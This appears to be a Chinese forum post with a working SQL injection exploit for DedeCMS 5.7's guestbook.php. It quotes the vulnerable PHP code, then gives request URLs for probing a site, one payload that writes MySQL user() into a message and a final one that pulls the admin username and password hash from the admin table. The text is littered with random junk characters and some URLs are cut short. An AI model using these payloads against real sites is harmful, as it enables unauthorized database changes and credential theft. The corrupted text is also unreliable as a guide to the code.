dedecms5.7最新sql注射漏洞利用 guestbook.php

admin

影响版本为5.7
! R6 w7 N) O& \
: N, J, b5 b' y. X/ m漏洞文件edit.inc.php具体代码：

  R; T, v$ b5 \2 k0 j  e( L9 ?$ J+ e$ A< ?php  

- h, q3 N# l1 d9 K) y. V0 @4 {if(!defined('DEDEINC')) exit('Request Error!');  

, t8 v- B2 o4 R: h   
9 t" x) l* G) [% Y! o( w6 f8 o0 T
1 T3 q% y! w+ ]if(!empty($_COOKIE['GUEST_BOOK_POS'])) $GUEST_BOOK_POS = $_COOKIE['GUEST_BOOK_POS'];  
+ a7 A) x! W& K, X  z1 L; @
/ `6 H* z! C# B/ x7 B; ~else $GUEST_BOOK_POS = "guestbook.php";  

( {& M# L+ l3 R% C2 b$ s: a  F   

5 E3 Q6 J$ p' A+ q) |+ z8 W, t$id = intval($id);  

: c' U) M) X8 w% u0 S( c5 `+ Qif(empty($job)) $job='view';  

8 ?: \6 Y' w6 Q5 o   

if($job=='del' && $g_isadmin)  

2 e2 {' K$ Q$ u8 g$ q, W' ^7 D{  

/ H' z6 g* I/ x& x3 C6 |" O" q4 _$dsql->ExecuteNoneQuery(" DELETE FROM `#@__guestbook` WHERE id='$id' ");  

% a0 c. g+ \* v; l: @1 xShowMsg("成功删除一条留言！", $GUEST_BOOK_POS);  
, F4 y. i' Z7 U& G
7 k; l6 b9 c; c. X! Gexit();  

; e" j$ b9 G* c* K}  

, M& X) Q& C5 F2 e0 ^3 A* [! q9 c2 Celse if($job=='check' && $g_isadmin)  

; v3 H% R. k4 i+ @: S{  

$dsql->ExecuteNoneQuery(" UPDATE `#@__guestbook` SET ischeck=1 WHERE id='$id' ");  

ShowMsg("成功审核一条留言！", $GUEST_BOOK_POS);  

exit();  

}  
3 V2 v3 d. O7 v; u# M& @/ O
5 O) g+ N) E% I9 |' A- ?  ^else if($job=='editok')  
0 M) F  n' k) [/ G' G+ A* Q- J* g
) x  U$ L# \% h0 V( J{  
" i) k$ |8 o6 b; A0 i, i9 b1 p
' Z7 B" ^$ x0 }6 }" B$remsg = trim($remsg);  
2 {+ S# Q% c: R
, X1 n  {  t8 K: I2 yif($remsg!='')  

{  
. {9 k( Z, o) [" \* z- ^# i) R
//管理员回复不过滤HTML By:Errorera blog:errs.cc  
2 \  P6 z" U( V' F0 `
if($g_isadmin)  
0 z2 H) o$ S, \4 h5 G
" ~' W2 ?0 ?# O{  

; Q' M4 k6 h6 h$msg = "<div class='rebox'>".$msg."</div>\n".$remsg;  
: _" p" k6 ?) P( R6 U8 R8 e0 A
//$remsg <br /><font color=red>管理员回复：</font> }  

2 u6 J: k1 _! I; _* `else
7 L# Y; s2 G/ E$ N
{  

1 Y/ q' Q3 P3 J$row = $dsql->GetOne("SELECT msg From `#@__guestbook` WHERE id='$id' ");  

+ f" L! M3 v, r/ h' [$oldmsg = "<div class='rebox'>".addslashes($row['msg'])."</div>\n";  

/ u4 P; E0 C! N2 D  c% V$remsg = trimMsg(cn_substrR($remsg, 1024), 1);  
$ f' j* j) x; B+ I  [
. j: O& U: q9 T+ A4 Y3 t6 R$msg = $oldmsg.$remsg;  

}  

}  

4 A$ f6 i+ P; Y1 {. N4 q) m//这里没有对$msg过滤，导致可以任意注入了By:Errorera home:www.errs.cc  
, Y/ ^" j* K4 ?0 K" d( b% }
$ e7 {) k0 S: I4 w$ o: o* g& Z$dsql->ExecuteNoneQuery("UPDATE `#@__guestbook` SET `msg`='$msg', `posttime`='".time()."' WHERE id='$id' ");  
/ x0 _# s6 a2 i
0 T+ }7 `6 e" ]5 I# ?7 a& o0 Y! EShowMsg("成功更改或回复一条留言！", $GUEST_BOOK_POS);  
; ^. O# I1 p$ K! ^# ^& h2 B
exit();  
. c  a) |. a, q
7 f7 k: T8 u- K) i}  
7 s2 J7 R3 {! i
//home:www.errs.cc  

if($g_isadmin)  

{  

4 c; ~: Q, N; v! L2 a7 f$row = $dsql->GetOne("SELECT * FROM `#@__guestbook` WHERE id='$id'");  
9 T! R  L/ y; n. P
require_once(DEDETEMPLATE.'/plus/guestbook-admin.htm');  

}  

else

0 G! ]6 k( B$ `+ h1 N{  
4 C$ _  D8 h2 l8 i: p/ ]: S
$row = $dsql->GetOne("SELECT id,title FROM `#@__guestbook` WHERE id='$id'");  

- C% ]1 A0 h: G/ E" h* Vrequire_once(DEDETEMPLATE.'/plus/guestbook-user.htm');  

} 漏洞成功需要条件：
5 R4 y# {) i; n$ |; o8 O/ z1. php magic_quotes_gpc=off
2.漏洞文件存在 plus/guestbook.php dede_guestbook 表当然也要存在。
4 G5 Q7 o! r+ r
" z$ ?3 s* y4 a" P( H怎么判断是否存在漏洞：
' X1 E2 d9 s, S; b* P  }先打开www.xxx.com/plus/guestbook.php 可以看到别人的留言，
然后鼠标放在 [回复/编辑] 上 可以看到别人留言的ID。那么记下ID
: o- x! Z# q; n" Z8 ?0 x7 h$ a& _访问：
  f+ G5 y5 L# H4 C
2 n: s( i8 `$ k% p( w) `5 Bwww.xxx.com/plus/guestbook.php?a ... tok&msg=errs.cc存在的留言ID提交后如果是dede5.7版本的话 会出现 “成功更改或回复一条留言” 那就证明修改成功了
跳回到www.xxx.com/plus/guestbook.php 看下你改的那条留言ID是否变成了 errs.cc’ 如果变成了 那么证


% K( b0 {9 O7 ?7 L$ `0 _$ e明漏洞无法利用应为他开启了 php magic_quotes_gpc=off
8 ^; ^/ ~8 L& O如果没有修改成功，那留言ID的内容还是以前的 那就证明漏洞可以利用。
* P9 u/ ^! ~! b2 I) x那么再次访问

www.xxx.com/plus/guestbook.php?a ... ;job=editok&id=存在的留言ID&msg=',msg=user(),email='然后返回，那条留言ID的内容就直接修改成了mysql 的user().
( O* ]( Q$ b# j2 I7 I
8 ^4 G' B6 a$ m9 \: C2 [3 W大概利用就是这样，大家有兴趣的多研究下！！
  y) Z2 ^" q" g0 h, D9 ]
最后补充下，估计有人会说怎么暴管理后台帐户密码，你自己研究下 会知道的。反正绝对可以暴出来(不可以暴出来我就不会发)！！

view sourceprint?1 /plus/guestbook.php?action=admin&job=editok&id=146&msg=',msg=@`'`,msg=(selecT CONCAT(userid,0x7c,pwd) fRom `%23@__admin` LIMIT 0,1),email='